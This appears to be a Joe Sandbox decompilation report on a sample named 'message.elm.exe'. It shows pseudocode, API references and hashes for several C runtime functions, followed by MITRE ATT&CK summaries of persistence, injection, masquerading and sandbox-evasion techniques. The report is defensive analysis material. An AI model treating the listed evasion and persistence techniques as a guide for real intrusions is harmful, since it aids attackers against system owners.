Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction ID: 3b8a7f17e4ebfe061791b5d315a4e5195bc8dd0f575c6c97dd90d4b1bd1d3e46
Opcode Fuzzy Hash: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction Fuzzy Hash: 4BF044773045009B8274DB1AEA04867B7A6FBD53213454A3AF542D3750C535FC06CA64

Uniqueness

Uniqueness Score: -1.00%

Function 0042CB30, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0042CB30(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t38;
				signed int _t39;
				intOrPtr _t41;
				intOrPtr _t44;
				signed int _t47;
				intOrPtr _t51;
				void* _t54;
				void* _t55;
				void* _t56;
				void* _t57;
				signed int _t58;
				intOrPtr _t60;
				signed int _t61;
				intOrPtr _t68;
				signed int _t73;
				signed int* _t75;
				signed int _t76;
				void* _t80;

				_push(0x20);
				_push(0x42f670);
				E0042664C(__ebx, __edi, __esi);
				_t61 = 0;
				 *((intOrPtr*)(_t80 - 0x1c)) = 0;
				_t38 =  *((intOrPtr*)(_t80 + 8));
				if(_t38 == 0) {
					_t75 = 0x432418;
					_t73 =  *0x432418; // 0x0
					L13:
					 *((intOrPtr*)(_t80 - 0x1c)) = 1;
					_t60 =  *((intOrPtr*)(_t80 - 0x24));
					L14:
					 *(_t80 - 0x20) = _t73;
					if(_t73 == 1) {
						L37:
						_t39 = 0;
						L38:
						return E00426687(_t39);
					}
					if(_t73 == _t61) {
						E00429328(3);
					}
					if( *((intOrPtr*)(_t80 - 0x1c)) != _t61) {
						E0042758B(_t60, _t73, _t61);
						_t61 = 0;
					}
					 *(_t80 - 4) = _t61;
					_t41 =  *((intOrPtr*)(_t80 + 8));
					if(_t41 == 8 || _t41 == 0xb || _t41 == 4) {
						 *(_t80 - 0x2c) =  *(_t60 + 0x58);
						 *(_t60 + 0x58) = _t61;
						if(_t41 != 8) {
							goto L28;
						}
						 *((intOrPtr*)(_t80 - 0x30)) =  *((intOrPtr*)(_t60 + 0x5c));
						 *((intOrPtr*)(_t60 + 0x5c)) = 0x8c;
						goto L24;
					} else {
						L24:
						if(_t41 != 8) {
							L28:
							 *_t75 = _t61;
							L29:
							 *(_t80 - 4) =  *(_t80 - 4) | 0xffffffff;
							E0042CC6B(_t61);
							if( *((intOrPtr*)(_t80 + 8)) != 8) {
								 *_t73( *((intOrPtr*)(_t80 + 8)));
							} else {
								 *_t73(8,  *((intOrPtr*)(_t60 + 0x5c)));
							}
							_t44 =  *((intOrPtr*)(_t80 + 8));
							if(_t44 == 8 || _t44 == 0xb || _t44 == 4) {
								 *(_t60 + 0x58) =  *(_t80 - 0x2c);
								if(_t44 == 8) {
									 *((intOrPtr*)(_t60 + 0x5c)) =  *((intOrPtr*)(_t80 - 0x30));
								}
							}
							goto L37;
						}
						_t47 =  *0x4318f0; // 0x3
						while(1) {
							 *(_t80 - 0x28) = _t47;
							_t68 =  *0x4318f4; // 0x7
							_t76 =  *0x4318f0; // 0x3
							if(_t47 >= _t68 + _t76) {
								goto L29;
							}
							 *( *((intOrPtr*)(_t60 + 0x54)) + 8 + (_t47 + _t47 * 2) * 4) = _t61;
							_t47 = _t47 + 1;
						}
						goto L29;
					}
				}
				_t51 = _t38;
				if(_t51 == 0) {
					L11:
					_t60 = E00426F68();
					 *((intOrPtr*)(_t80 - 0x24)) = _t60;
					_t75 = E0042CB02( *((intOrPtr*)(_t60 + 0x54)),  *((intOrPtr*)(_t80 + 8))) + 8;
					_t73 =  *_t75;
					_t61 = 0;
					goto L14;
				}
				_t54 = _t51 - 4;
				if(_t54 == 0) {
					goto L11;
				}
				_t55 = _t54 - 3;
				if(_t55 == 0) {
					goto L11;
				}
				_t56 = _t55 - 4;
				if(_t56 == 0) {
					_t75 = 0x432424;
					_t73 =  *0x432424; // 0x0
					goto L13;
				}
				_t57 = _t56 - 6;
				if(_t57 == 0) {
					_t75 = 0x43241c;
					_t73 =  *0x43241c; // 0x0
					goto L13;
				}
				_t58 = _t57 - 1;
				if(_t58 == 0) {
					_t75 = 0x432420;
					_t73 =  *0x432420; // 0x0
					goto L13;
				} else {
					_t39 = _t58 | 0xffffffff;
					goto L38;
				}
			}

0x0042cb30
0x0042cb32
0x0042cb37
0x0042cb3c
0x0042cb3e
0x0042cb45
0x0042cb46
0x0042cbb2
0x0042cbb7
0x0042cbbd
0x0042cbbd
0x0042cbc4
0x0042cbc7
0x0042cbc7
0x0042cbcd
0x0042cca1
0x0042cca1
0x0042cca3
0x0042cca8
0x0042cca8
0x0042cbd5
0x0042cbd9
0x0042cbd9
0x0042cbe1
0x0042cbe4
0x0042cbea
0x0042cbea
0x0042cbec
0x0042cbef
0x0042cbf5
0x0042cc04
0x0042cc07
0x0042cc0d
0x00000000
0x00000000
0x0042cc12
0x0042cc15
0x00000000
0x0042cc1c
0x0042cc1c
0x0042cc1f
0x0042cc48
0x0042cc48
0x0042cc4a
0x0042cc4a
0x0042cc4e
0x0042cc57
0x0042cc7b
0x0042cc59
0x0042cc5e
0x0042cc60
0x0042cc7e
0x0042cc84
0x0042cc93
0x0042cc99
0x0042cc9e
0x0042cc9e
0x0042cc99
0x00000000
0x0042cc84
0x0042cc21
0x0042cc26
0x0042cc26
0x0042cc29
0x0042cc2f
0x0042cc39
0x00000000
0x00000000
0x0042cc41
0x0042cc45
0x0042cc45
0x00000000
0x0042cc26
0x0042cbf5
0x0042cb49
0x0042cb4a
0x0042cb92
0x0042cb97
0x0042cb99
0x0042cba9
0x0042cbac
0x0042cbae
0x00000000
0x0042cbae
0x0042cb4c
0x0042cb4f
0x00000000
0x00000000
0x0042cb51
0x0042cb54
0x00000000
0x00000000
0x0042cb56
0x0042cb59
0x0042cb85
0x0042cb8a
0x00000000
0x0042cb8a
0x0042cb5b
0x0042cb5e
0x0042cb78
0x0042cb7d
0x00000000
0x0042cb7d
0x0042cb60
0x0042cb61
0x0042cb6b
0x0042cb70
0x00000000
0x0042cb63
0x0042cb63
0x00000000
0x0042cb63

APIs

__lock.LIBCMT ref: 0042CBE4

Strings

$$C, xrefs: 0042CB85
$C, xrefs: 0042CB6B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: __lock
String ID: $C$$$C
API String ID: 1351747465-3751191682
Opcode ID: 862fc287a51247e39cf5f504bac7603a473060daa4dbf435a019d953be9ea6e8
Instruction ID: b1263411a33c7abb084cf6b3ba1c38a65e28a18038912d737f562992e4ca65ea
Opcode Fuzzy Hash: 862fc287a51247e39cf5f504bac7603a473060daa4dbf435a019d953be9ea6e8
Instruction Fuzzy Hash: 1B41A031F002248BCF28DF2AF8C556D3BA1EB59310BA5806BD809EB355C73CAD418B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042CD8A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0042CD8A(signed int __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v4104;
				intOrPtr _v4108;
				intOrPtr _v4112;
				intOrPtr _t21;
				intOrPtr _t22;
				signed int _t23;
				void* _t25;
				void* _t28;
				signed int _t29;
				intOrPtr* _t31;
				intOrPtr _t35;
				void* _t36;
				void* _t38;
				intOrPtr* _t39;
				signed int _t43;
				void* _t49;
				void* _t52;
				signed int _t56;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t64;
				void* _t65;

				_t65 = __eflags;
				_t49 = __edx;
				E004254B0(0x100c, __ecx);
				_t21 =  *0x4310d8; // 0x2c0d4047
				_t56 = 0;
				_v8 = _t21;
				_t22 = E0042BB80(_t65, _a4, 0, 1);
				_t43 = __ebx | 0xffffffff;
				_t61 = _t60 + 0xc;
				_t66 = _t22 - _t43;
				_v4108 = _t22;
				if(_t22 == _t43) {
					L17:
					_t23 = _t43;
					L18:
					return E00424873(_t23, _v8);
				}
				_t25 = E0042BB80(_t66, _a4, 0, 2);
				_t62 = _t61 + 0xc;
				if(_t25 == _t43) {
					goto L17;
				}
				_push(__edi);
				_t52 = _a8 - _t25;
				if(_t52 <= 0) {
					if(__eflags < 0) {
						E0042BB80(__eflags, _a4, _a8, 0);
						_t28 = E0042C1A0(_a4);
						_t62 = _t62 + 0x10;
						_t29 = SetEndOfFile(_t28);
						asm("sbb esi, esi");
						_t56 =  ~( ~_t29) - 1;
						__eflags = _t56 - _t43;
						if(__eflags == 0) {
							 *((intOrPtr*)(E00429D61())) = 0xd;
							_t31 = E00429D6A();
							 *_t31 = GetLastError();
						}
					}
					goto L16;
				} else {
					E00425F70( &_v4104, 0, 0x1000);
					_t35 = E0042CF31(_a4, 0x8000);
					_t64 = _t62 + 0x14;
					_v4112 = _t35;
					while(1) {
						_t36 = 0x1000;
						if(_t52 < 0x1000) {
							_t36 = _t52;
						}
						_push(_t36);
						_push( &_v4104);
						_push(_a4);
						_t38 = E0042BC9F(0x1000, _t49, _t52, _t56);
						_t62 = _t64 + 0xc;
						if(_t38 == 0xffffffff) {
							break;
						}
						_t52 = _t52 - _t38;
						_t71 = _t52;
						if(_t52 > 0) {
							continue;
						}
						L12:
						E0042CF31(_a4, _v4112);
						L16:
						E0042BB80(_t71, _a4, _v4108, 0);
						_t23 = _t56;
						goto L18;
					}
					_t39 = E00429D6A();
					__eflags =  *_t39 - 5;
					if( *_t39 == 5) {
						 *((intOrPtr*)(E00429D61())) = 0xd;
					}
					_t56 = _t56 | 0xffffffff;
					__eflags = _t56;
					goto L12;
				}
			}

0x0042cd8a
0x0042cd8a
0x0042cd92
0x0042cd97
0x0042cda0
0x0042cda6
0x0042cda9
0x0042cdae
0x0042cdb1
0x0042cdb4
0x0042cdb6
0x0042cdbc
0x0042cebd
0x0042cebd
0x0042cebf
0x0042ceca
0x0042ceca
0x0042cdc8
0x0042cdcd
0x0042cdd2
0x00000000
0x00000000
0x0042cdd8
0x0042cddc
0x0042cde0
0x0042ce5d
0x0042ce67
0x0042ce6f
0x0042ce74
0x0042ce78
0x0042ce82
0x0042ce86
0x0042ce87
0x0042ce89
0x0042ce90
0x0042ce96
0x0042cea3
0x0042cea3
0x0042ce89
0x00000000
0x0042cde2
0x0042cdf0
0x0042cdfd
0x0042ce02
0x0042ce05
0x0042ce0b
0x0042ce0d
0x0042ce0f
0x0042ce11
0x0042ce11
0x0042ce13
0x0042ce1a
0x0042ce1b
0x0042ce1e
0x0042ce23
0x0042ce29
0x00000000
0x00000000
0x0042ce2b
0x0042ce2d
0x0042ce2f
0x00000000
0x00000000
0x0042ce4b
0x0042ce54
0x0042cea5
0x0042ceb0
0x0042ceb8
0x00000000
0x0042ceba
0x0042ce33
0x0042ce38
0x0042ce3b
0x0042ce42
0x0042ce42
0x0042ce48
0x0042ce48
0x00000000
0x0042ce48

APIs

Part of subcall function 0042BB80: SetFilePointer.KERNEL32(00000000,00000054,00000000,?,?,?,0042BC4B,00000000,00000000,00427EB4,0042F5E8,0000000C,00427B89,?,00000000,00000002), ref: 0042BBAD
Part of subcall function 0042BB80: GetLastError.KERNEL32 ref: 0042BBBA

SetEndOfFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,0042C838,00000000,80000000), ref: 0042CE78
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,0042C838,00000000,80000000), ref: 0042CE9D

Strings

G@,, xrefs: 0042CD97

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorFileLast$Pointer
String ID: G@,
API String ID: 1697706070-3496681718
Opcode ID: 40f671939de8159d00d56129a52f93ce25438aa715e5ea4b23725bd8789b36a7
Instruction ID: dc5403cbf5a9b992c69d624c5d7a1c2f067201d8093209003cbcabc7bd29820d
Opcode Fuzzy Hash: 40f671939de8159d00d56129a52f93ce25438aa715e5ea4b23725bd8789b36a7
Instruction Fuzzy Hash: 37313A32B00134ABDB212F65FC85B9D7B64EF04364F914167F90897291EB799D908BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0042A987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0042A987() {
				signed int _v8;
				char _v12;
				void* __ecx;
				void* __esi;
				CHAR* _t10;
				signed int _t16;
				signed int _t22;
				CHAR* _t25;
				signed int _t34;

				_push(_t27);
				if( *0x433890 == 0) {
					E0042B499();
				}
				 *0x432374 = 0;
				GetModuleFileNameA(0, 0x432270, 0x104);
				_t10 =  *0x4338bc;
				 *0x432244 = 0x432270;
				if(_t10 == 0) {
					L4:
					_t25 = 0x432270;
				} else {
					_t25 = _t10;
					if( *_t10 == 0) {
						goto L4;
					}
				}
				E0042A81B(_t25, 0,  &_v12, 0,  &_v8);
				_t40 = _v8 << 2;
				_t16 = E004263B4(_v12 + (_v8 << 2));
				_t34 = _t16;
				if(_t34 != 0) {
					E0042A81B(_t25, _t40 + _t34,  &_v12, _t34,  &_v8);
					 *0x432228 = _v8 - 1;
					 *0x43222c = _t34;
					_t22 = 0;
				} else {
					_t22 = _t16 | 0xffffffff;
				}
				return _t22;
			}

0x0042a98b
0x0042a997
0x0042a999
0x0042a999
0x0042a9aa
0x0042a9b1
0x0042a9b7
0x0042a9be
0x0042a9c4
0x0042a9cd
0x0042a9cd
0x0042a9c6
0x0042a9c9
0x0042a9cb
0x00000000
0x00000000
0x0042a9cb
0x0042a9db
0x0042a9e6
0x0042a9ec
0x0042a9f1
0x0042a9f8
0x0042aa0c
0x0042aa16
0x0042aa1c
0x0042aa22
0x0042a9fa
0x0042a9fa
0x0042a9fa
0x0042aa28

APIs

___initmbctable.LIBCMT ref: 0042A999
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\message.elm.exe,00000104,74E04DE0,00000000,?,?,?,?,00425EB0,?,0042E598,00000060), ref: 0042A9B1

Strings

C:\Users\user\Desktop\message.elm.exe, xrefs: 0042A9A3, 0042A9A8

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Users\user\Desktop\message.elm.exe
API String ID: 767393020-2195759022
Opcode ID: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction ID: 44a9705287dc85e6541789c5441cd73dc39d0e17858977665928a33e7fa3aab4
Opcode Fuzzy Hash: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction Fuzzy Hash: 26113AB2B00220ABCB11DBAABD4069B77F8EB44320F51057FFD05D3241D6B89E40C759

Uniqueness

Uniqueness Score: -1.00%

Function 004237F6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004237F6(void* __esi) {
				intOrPtr _t13;
				signed int _t22;
				signed int _t23;
				void* _t29;
				void* _t31;

				_t29 = _t31 - 0x29c;
				_t13 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t29 + 0x298)) = _t13;
				GetSystemDirectoryA(_t29 + 0x194, 0x104);
				 *((char*)(_t29 + 0x197)) = 0;
				_t22 = GetVolumeInformationA(_t29 + 0x194, _t29 + 0x90, 0x104, _t29 - 0x78, _t29 - 0x7c, _t29 - 0x80, _t29 - 0x74, 0x104);
				if(_t22 != 0) {
					_t23 =  *(_t29 - 0x78);
				} else {
					_t23 = _t22 | 0xffffffff;
				}
				return E00424873(_t23,  *((intOrPtr*)(_t29 + 0x298)));
			}

0x004237f7
0x00423804
0x0042380a
0x0042381d
0x00423843
0x0042384a
0x00423853
0x0042385a
0x00423855
0x00423855
0x00423855
0x0042386f

APIs

GetSystemDirectoryA.KERNEL32 ref: 0042381D
GetVolumeInformationA.KERNEL32(?,?,00000104,?,?,?,?,00000104), ref: 0042384A

Strings

G@,, xrefs: 00423804

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: DirectoryInformationSystemVolume
String ID: G@,
API String ID: 2949477388-3496681718
Opcode ID: 4c6b8659cee6b304531e935fa29ad38fbdd9faa6222c1d9b071e06e954d0c8d8
Instruction ID: a7266174d59bac35a0dbae4f85c4065f7ab4ff8e4347cd566d3f3149f84dc9be
Opcode Fuzzy Hash: 4c6b8659cee6b304531e935fa29ad38fbdd9faa6222c1d9b071e06e954d0c8d8
Instruction Fuzzy Hash: 0801FBB290406C9BEB31DFA4EC84FDE37BCAB09314F14022AEA1DD7151EA7497498B64

Uniqueness

Uniqueness Score: -1.00%

Function 00424762, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00424762() {
				void* _t16;
				void* _t18;
				intOrPtr* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				void* _t27;

				E0042647C(E0042D55D, _t24);
				_t1 = _t24 - 0x28; // 0xe
				E00402A90(_t1, "string too long");
				 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
				_t4 = _t24 - 0x28; // 0xe
				_t5 = _t24 - 0x50; // -26
				_t20 = _t5;
				E00402A30(_t20, _t27, _t4);
				_t6 = _t24 - 0x50; // 0xe
				 *((intOrPtr*)(_t24 - 0x50)) = 0x42e468;
				_t16 = E0042509E(_t6, 0x42fadc);
				asm("int3");
				 *_t20 = 0x42e4a8;
				_t28 =  *((intOrPtr*)(_t20 + 8));
				 *_t20 = 0x42e4f0;
				if( *((intOrPtr*)(_t20 + 8)) != 0) {
					_push( *((intOrPtr*)(_t20 + 4)));
					return E004255BE(_t18, _t22, _t23, _t28);
				}
				return _t16;
			}

0x00424767
0x00424774
0x00424777
0x0042477c
0x00424780
0x00424784
0x00424784
0x00424787
0x00424791
0x00424795
0x0042479c
0x004247a1
0x004247a2
0x00425170
0x00425174
0x0042517a
0x0042517c
0x00000000
0x00425184
0x00425185

APIs

__EH_prolog.LIBCMT ref: 00424767

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

Part of subcall function 004255BE: __lock.LIBCMT ref: 004255DC
Part of subcall function 004255BE: HeapFree.KERNEL32(00000000,?,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00425623

Strings

hB, xrefs: 00424795
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ExceptionFreeH_prologHeapRaise__lock
String ID: hB$string too long
API String ID: 2277933175-4162919455
Opcode ID: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction ID: a0063198a6ad5418a60f27aa6fdeb6e5ae7cc0c3ac2dcd9628e5fcf86c67384a
Opcode Fuzzy Hash: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction Fuzzy Hash: 3EF08271B00138EAC700FBE5E90979D7774AF04319FE4416FE00165195CBFD5545CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042884B, Relevance: 5.1, APIs: 4, Instructions: 57
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042884B() {
				signed int _t15;
				void* _t17;
				void* _t18;
				intOrPtr* _t20;
				void* _t24;
				signed int _t26;
				intOrPtr* _t30;

				_t15 =  *0x43389c;
				_t26 =  *0x4338ac;
				if(_t15 != _t26) {
					L4:
					_t30 =  *0x4338a0 + (_t15 + _t15 * 4) * 4;
					_t17 = HeapAlloc( *0x4338b4, 8, 0x41c4);
					 *(_t30 + 0x10) = _t17;
					if(_t17 != 0) {
						_t18 = VirtualAlloc(0, 0x100000, 0x2000, 4);
						 *(_t30 + 0xc) = _t18;
						if(_t18 != 0) {
							 *(_t30 + 8) =  *(_t30 + 8) | 0xffffffff;
							 *_t30 = 0;
							 *((intOrPtr*)(_t30 + 4)) = 0;
							 *0x43389c =  *0x43389c + 1;
							 *( *(_t30 + 0x10)) =  *( *(_t30 + 0x10)) | 0xffffffff;
							_t20 = _t30;
						} else {
							HeapFree( *0x4338b4, 0,  *(_t30 + 0x10));
							goto L5;
						}
					} else {
						L5:
						_t20 = 0;
					}
					return _t20;
				} else {
					_t24 = HeapReAlloc( *0x4338b4, 0,  *0x4338a0, _t26 + 0x50 + _t26 * 4 << 2);
					if(_t24 != 0) {
						 *0x4338ac =  *0x4338ac + 0x10;
						 *0x4338a0 = _t24;
						_t15 =  *0x43389c;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x0042884b
0x00428850
0x0042885b
0x00428891
0x004288a8
0x004288ab
0x004288b3
0x004288b6
0x004288c9
0x004288d1
0x004288d4
0x004288e8
0x004288ec
0x004288ee
0x004288f1
0x004288fa
0x004288fd
0x004288d6
0x004288e0
0x00000000
0x004288e0
0x004288b8
0x004288b8
0x004288b8
0x004288b8
0x00428901
0x0042885d
0x00428872
0x0042887a
0x00428880
0x00428887
0x0042888c
0x00000000
0x0042887c
0x0042887f
0x0042887f
0x0042887a

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00428E3C,00000000,?,00000000), ref: 00428872
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00428E3C,00000000,?,00000000), ref: 004288AB
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004288C9
HeapFree.KERNEL32(00000000,?), ref: 004288E0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction ID: 72779762a505b3105af33e06486f7e26f074df3cc48a41ce57bbcb179b6b58b0
Opcode Fuzzy Hash: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction Fuzzy Hash: 11116D303002119FD735AF19FC46926BBF1FB91366790563EF152C62B0C771A952CB08

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
